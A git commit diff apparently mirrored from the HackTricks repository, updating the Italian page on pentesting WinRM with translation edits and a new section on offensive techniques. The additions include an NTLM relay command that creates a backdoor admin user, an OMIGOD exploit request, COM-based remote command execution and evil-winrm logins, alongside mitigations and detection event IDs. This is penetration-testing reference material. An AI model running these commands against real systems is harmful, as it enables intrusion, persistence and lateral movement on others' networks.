mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.
This commit is contained in:
parent
4385d62acf
commit
1ca54d78c3
@ -15,7 +15,7 @@ Una porta aperta dall'elenco sopra indica che WinRM è stato configurato, consen
|
|||||||
|
|
||||||
### **Iniziare una sessione WinRM**
|
### **Iniziare una sessione WinRM**
|
||||||
|
|
||||||
Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, impostando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
|
Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, configurando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
|
||||||
```bash
|
```bash
|
||||||
Enable-PSRemoting -Force
|
Enable-PSRemoting -Force
|
||||||
Set-Item wsman:\localhost\client\trustedhosts *
|
Set-Item wsman:\localhost\client\trustedhosts *
|
||||||
@ -28,9 +28,9 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
|
|||||||
```
|
```
|
||||||
Questo metodo consente la configurazione remota di WinRM, migliorando la flessibilità nella gestione delle macchine Windows da lontano.
|
Questo metodo consente la configurazione remota di WinRM, migliorando la flessibilità nella gestione delle macchine Windows da lontano.
|
||||||
|
|
||||||
### Testare se configurato
|
### Verifica se configurato
|
||||||
|
|
||||||
Per verificare la configurazione della tua macchina di attacco, il comando `Test-WSMan` viene utilizzato per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato:
|
Per verificare la configurazione della tua macchina di attacco, viene utilizzato il comando `Test-WSMan` per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato:
|
||||||
|
|
||||||
- Per un target che **è** configurato correttamente, l'output apparirà simile a questo:
|
- Per un target che **è** configurato correttamente, l'output apparirà simile a questo:
|
||||||
```bash
|
```bash
|
||||||
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
|||||||
```ruby
|
```ruby
|
||||||
gem install evil-winrm
|
gem install evil-winrm
|
||||||
```
|
```
|
||||||
Leggi **documentazione** sul suo github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
Leggi **documentazione** su github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||||
```ruby
|
```ruby
|
||||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||||
```
|
```
|
||||||
@ -220,8 +220,73 @@ end
|
|||||||
|
|
||||||
- `port:5985 Microsoft-HTTPAPI`
|
- `port:5985 Microsoft-HTTPAPI`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vulnerabilità Recenti e Tecniche Offensive (2021-2025)
|
||||||
|
|
||||||
|
### Relay NTLM direttamente a WinRM (WS-MAN)
|
||||||
|
Dalla versione 0.11 di Impacket (Maggio 2023) `ntlmrelayx.py` può rilanciare le credenziali NTLM catturate direttamente a un listener **WS-MAN**/WinRM. Quando un host continua ad ascoltare su **HTTP non criptato (5985)**, un attaccante può combinare *mitm6* (o *Responder*) per forzare l'autenticazione e ottenere l'esecuzione di codice a livello SYSTEM:
|
||||||
|
```bash
|
||||||
|
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
|
||||||
|
--command "net user pwned P@ssw0rd! /add"
|
||||||
|
```
|
||||||
|
Mitigazioni
|
||||||
|
* Disabilita i listener HTTP – `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
|
||||||
|
* Forza HTTPS e abilita la Protezione Estesa per l'Autenticazione (EPA) sulle versioni recenti di Windows.
|
||||||
|
|
||||||
|
### OMIGOD – CVE-2021-38647 (Azure OMI)
|
||||||
|
Gli agenti Linux di Azure utilizzano il servizio **Open Management Infrastructure (OMI)** che espone l'API WinRM/WS-MAN sulle porte **5985/5986**. Un errore logico ha consentito **RCE non autenticato come root**:
|
||||||
|
```text
|
||||||
|
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'
|
||||||
|
```
|
||||||
|
Patch o rimuovi OMI (versione ≥ 1.6.8-1) e blocca quelle porte da Internet.
|
||||||
|
|
||||||
|
### Abuso di WSMan.Automation COM per movimento laterale
|
||||||
|
WinRM può essere controllato senza PowerShell tramite l'oggetto COM `WSMan.Automation` – utile su sistemi in modalità Constrained-Language. Strumenti come *SharpWSManWinRM* avvolgono questa tecnica:
|
||||||
|
```powershell
|
||||||
|
$ws = New-Object -ComObject 'WSMan.Automation'
|
||||||
|
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
|
||||||
|
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
|
||||||
|
$session.Signal($cmdId,0)
|
||||||
|
```
|
||||||
|
La catena di esecuzione (`svchost → wmiprvse → cmd.exe`) è identica al classico PS-Remoting.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Aggiornamenti degli strumenti
|
||||||
|
|
||||||
|
* **Evil-WinRM v3.x (2024)** – ora supporta l'autenticazione **Kerberos** (`-k` / `--spn`) e l'autenticazione **basata su certificato** (`--cert-pem`/`--key-pem`), registrazione delle sessioni (`-L`) e la possibilità di disabilitare il completamento del percorso remoto (`-N`).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
|
||||||
|
```
|
||||||
|
|
||||||
|
* **Python – `pypsrp` 0.9 (2024)** offre WinRM e PS-Remoting da Linux, inclusi CredSSP e Kerberos:
|
||||||
|
|
||||||
|
```python
|
||||||
|
from psrp.client import Client
|
||||||
|
c = Client('srv01', username='ACME\\j.doe', ssl=True)
|
||||||
|
print(c.execute_cmd('ipconfig /all').std_out.decode())
|
||||||
|
```
|
||||||
|
|
||||||
|
* **Rilevamento** – monitora il registro **Microsoft-Windows-WinRM/Operational**:
|
||||||
|
* Evento 91 / 163 – shell creata
|
||||||
|
* Evento 182 – errore di autenticazione
|
||||||
|
* Nel registro di Sicurezza, l'evento 4262 registra l'IP sorgente (aggiunto nei CUs di luglio 2022).
|
||||||
|
Raccogli questi dati centralmente e invia avvisi su IP anonimi o esterni.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Shodan
|
||||||
|
|
||||||
|
- `port:5985 Microsoft-HTTPAPI`
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
|
|
||||||
|
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||||
|
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
|
||||||
|
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
|
||||||
|
|
||||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||||
|
|
||||||
## HackTricks Comandi Automatici
|
## HackTricks Comandi Automatici
|
||||||
|
Loading…
x
Reference in New Issue
Block a user